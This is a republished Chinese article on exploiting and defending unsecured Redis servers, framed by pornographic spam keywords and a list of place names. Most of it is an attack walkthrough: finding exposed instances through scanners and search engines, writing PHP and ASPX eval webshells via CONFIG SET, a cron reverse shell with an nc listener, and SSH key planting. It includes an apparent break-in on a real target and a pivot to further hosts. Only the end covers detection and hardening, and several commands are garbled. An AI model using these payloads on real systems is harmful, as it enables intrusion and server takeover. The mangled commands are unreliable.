91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解Redis漏洞利用與防御

發布時間:2021-11-18 15:47:50 來源:億速云 閱讀:162 作者:柒染 欄目:網絡管理

本篇文章給大家分享的是有關如何理解Redis漏洞利用與防御,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

Redis漏洞利用與防御

前言

Redis在大公司被大量應用,通過筆者的研究發現,目前在互聯網上已經出現Redis未經授權病毒似自動攻擊,攻擊成功后會對內網進行掃描、控制、感染以及用來進行挖礦、勒索等惡意行為,早期網上曾經分析過一篇文章“通過redis感染linux版本勒索病毒的服務器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么應當給予重視,通過實際研究,當在一定條件下,攻擊者可以獲取webshell,甚至root權限。

Redis簡介及搭建實驗環境

簡介

Remote Dictionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。它通常被稱為數據結構服務器,因為值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等類型。從2010年3月15日起,Redis的開發工作由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。目前最新穩定版本為4.0.8。

Redis默認端口

Redis默認配置端口為6379,sentinel.conf配置器端口為26379

官方站點

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

安裝 redis

 http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
 redis-4.0.8

最新版本前期漏洞已經修復,測試時建議安裝3.2.11版本。

修改配置文件 redis.conf

 redis.conf ./src/redis.conf
bind .0.0.1  前面加上
protected-mode 設為 no

啟動 redis-server
./src/redis-server redis.conf

最新版安裝成功后,如圖1所示。默認的配置是使用6379端口,沒有密碼。這時候會導致未授權訪問然后使用redis權限寫文件。

如何理解Redis漏洞利用與防御

<center>圖1 安裝配置 redis</center>

連接Redis服務器

交互式方式

redis-cli -h {host} -p {port} 方式連接,然后所有的操作都是在交互的方式實現,不需要再執行redis-cli了,例如命令:

redis-cli  .0.0.1-p 

加-a參數表示帶密碼的訪問
命令方式

redis-cli -h {host} -p {port} {command} 直接得到命令的返回結果.

常見命令

命令描述
info查看信息
flushall刪除所有數據庫內容
flushdb刷新數據庫
KEYS *查看所有鍵,使用 select num 可以查看鍵值數據
set test "who am i"設置變量
config set dir dirpath設置路徑等配置
save保存
get 變量查看變量名稱

更多命令可以參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

相關漏洞

因配置不當可以未經授權訪問,攻擊者無需認證就可以訪問到內部數據,其漏洞可導致敏感信息泄露(Redis服務器存儲一些有趣的session、cookie或商業數據可以通過get枚舉鍵值),也可以惡意執行flushall來清空所有數據,攻擊者還可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件。如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接免密碼登錄服務器,其相關漏洞信息如下:

Redis 遠程代碼執行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在緩沖區溢出漏洞,可導致任意代碼執行。Redis數據結構存儲的CONFIG SET命令中client-output-buffer-limit選項處理存在越界寫漏洞。構造的CONFIG SET命令可導致越界寫,代碼執行。

CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函數整數溢出,允許上下文相關的攻擊者許可運行Lua代碼(內存損壞和應用程序崩潰)或可能繞過沙盒限制意圖通過大量,觸發基于棧的緩沖區溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。遠程攻擊者可執行eval命令利用該漏洞執行任意Lua字節碼

CVE-2013-7458

讀取“.rediscli_history”配置文件信息

Redis攻擊思路

內網端口掃描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

通過文件包含讀取其配置文件

Redis配置文件中一般會設置明文密碼,在進行滲透時也可以通過webshell查看其配置文件,Redis往往不只一臺計算機,可以利用其來進行內網滲透,或者擴展權限滲透。

使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令為:

 ./redis-sha-crack.js  wordlist.txt  shalist.txt .0.0.1 host2.example.com:5555

需要安裝node:

 clone https://github.com/nodejs/node.git 
   
 
./configure

msf下利用模塊

auxiliary/scanner/redis/file_upload    normal     Redis File Upload
auxiliary/scanner/redis/redis_login    normal     Redis Login Utility
auxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

Redis漏洞利用

獲取webshell

當redis權限不高時,并且服務器開著web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell,前提是知道物理路徑,精簡命令如下:

config  dir E:/www/font
config  dbfilename redis2.aspx
 a 
save

反彈shell

(1)連接Redis服務器

redis-cli –h 192.168.106.135 –p 6379

(2)在192.168.106.133上執行

nc –vlp 7999

(3)執行以下命令

 x 
config  dir /var/spool/cron/
ubantu文件為:/var/spool/cron/crontabs/
config  dir /var/spool/cron/crontabs/
config  dbfilename root
save

免密碼登錄ssh

ssh-keygen  rsa
config  dir /root/.ssh/
config  dbfilename authorized_keys
 x 
save

執行效果如圖2所示:

如何理解Redis漏洞利用與防御

<center>圖2Redis漏洞SSH免密碼登錄</center>

使用漏洞搜索引擎搜索

(1)對“port: 6379”進行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去顯示“-NOAUTH Authentication required.”的結果,顯示這個信息表示需要進行認證,也即需要密碼才能訪問。

(3)https://fofa.so/

關鍵字檢索:port="6379" && protocol==redis && country=CN

Redis賬號獲取webshell實戰

1.掃描某目標服務器端口信息

通過nmap對某目標服務器進行全端口掃描,發現該目標開放Redis的端口為3357,默認端口為6379端口,再次通過iis put scaner軟件進行同網段服務器該端口掃描,如圖3所示,獲取兩臺開放該端口的服務器。


如何理解Redis漏洞利用與防御

<center>圖3掃描同網段開放該端口的服務器</center>

2.使用telnet登錄服務器

使用命令“telnet ip port”命令登錄,例如 telnet 1**.**.**.76 3357,登錄后,輸入auth和密碼進行認證。

3.查看并保存當前的配置信息。

通過“config get命令”查看dir和dbfilename的信息,并復制下來留待后續恢復使用。

config get dir
config get dbfilename

4.配置并寫入webshell

(1)設置路徑

config set dir E:/www/font

(2)設置數據庫名稱

將dbfilename對名稱設置為支持腳本類型的文件,例如網站支持php,則設置file.php即可,本例中為aspx,所以設置redis.aspx。

config set dbfilename redis.aspx

(3)設置webshell的內容

根據實際情況來設置webshell的內容,webshell僅僅為一個變量,可以是a等其他任意字符,下面為一些參考示例。

set webshell "<?php phpinfo(); ?>" 
 //php查看信息
set webshell "<?php @eval($_POST['chopper']);?> " 
 //phpwebshell
set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"
// aspx的webshell,注意雙引號使用\"

(4)保存寫入的內容

save

(5)查看webshell的內容

get webshell

完整過程執行命令如圖4所示,每一次命令顯示“+OK”表示配置成功。

如何理解Redis漏洞利用與防御

<center>圖4寫入webshell</center>

  1. 測試webshell是否正常

在瀏覽器中輸入對應寫入文件的名字,如圖5所示進行訪問,出現類似:

“REDIS0006?webshell'a@H攙???”則表明正確獲取webshell。

如何理解Redis漏洞利用與防御

<center>圖5測試webshell是否正常</center>

6.獲取webshell

如圖6所示,使用中國菜刀后門管理連接工具,成功獲取該網站的webshell。

如何理解Redis漏洞利用與防御

<center>圖6獲取webshell</center>

7.恢復原始設置

(1)恢復dir

config set dir dirname

(2)恢復dbfilename

config set dbfilename dbfilename

(3)刪除webshell

del webshell

(4)刷新數據庫

flushdb

8.完整命令總結

 **.**.**.31 
auth 
config  dir
config  dbfilename
config  dir E:/www/
config  dbfilename redis2.aspx
 a 
save
 a

9.查看redis配置conf文件

通過webshell,在其對應目錄中發現還存在其它地址的redis,通過相同方法可以再次進行滲透,如圖7所示,可以看到路徑、端口、密碼等信息。

如何理解Redis漏洞利用與防御

<center>圖7查看redis其配置文件</center>

Redis入侵檢測和安全防范

入侵檢測

檢測key

通過本地登錄,通過“keys *”命令查看,如果有入侵則其中會有很多的值,如圖8所示,在keys *執行成功后,可以看到有trojan1和trojan2命令,執行get trojan1即可進行查看。

如何理解Redis漏洞利用與防御

<center>圖8檢查keys</center>

linux下需要檢查authorized_keys

Redis內建了名為crackit的key,也可以是其它值,同時Redis的conf文件中dir參數指向了/root/.ssh, /root/.ssh/authorized_keys 被覆蓋或者包含Redis相關的內容,查看其值就可以直到是否被入侵過.

對網站進行webshell掃描和分析

發現利用Redis賬號漏洞的,則在shell中會村在Redis字樣。

對服務器進行后門清查和處理

修復辦法

(1)禁止公網開放Redis端口,可以在防火墻上禁用6379 Redis的端口

(2)檢查authorized_keys是否非法,如果已經被修改,則可以重新生成并恢復,不能使用修改過的文件。并重啟ssh服務(service  ssh restart)

(3)增加 Redis 密碼驗證

首先停止REDIS服務,打開redis.conf配置文件(不同的配置文件,其路徑可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#號,然后將foobared改為自己設定的密碼,重啟啟動redis服務。

(4)修改conf文件禁止全網訪問,打開6379.conf文件,找到bind0.0.0.0前面加上#  (禁止全網訪問)。

可參考加固修改命令

命令描述
port修改redis使用的默認端口
bind設定redis監聽的專用IP
requirepass設定redis連接的密碼
rename-command CONFIG ""禁用CONFIG命令
rename-command info info2重命名info為info2

以上就是如何理解Redis漏洞利用與防御,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

丰镇市| 昭觉县| 荣成市| 稻城县| 二连浩特市| 平泉县| 石景山区| 密云县| 扶风县| 安龙县| 安岳县| 望江县| 平遥县| 澄江县| 锦屏县| 突泉县| 宣威市| 岚皋县| 建宁县| 东乌| 江永县| 阿勒泰市| 龙井市| 海口市| 深州市| 开化县| 瑞金市| 汪清县| 广平县| 拉孜县| 广南县| 罗田县| 肥东县| 公主岭市| 昔阳县| 广河县| 临武县| 繁昌县| 富锦市| 江油市| 阳谷县|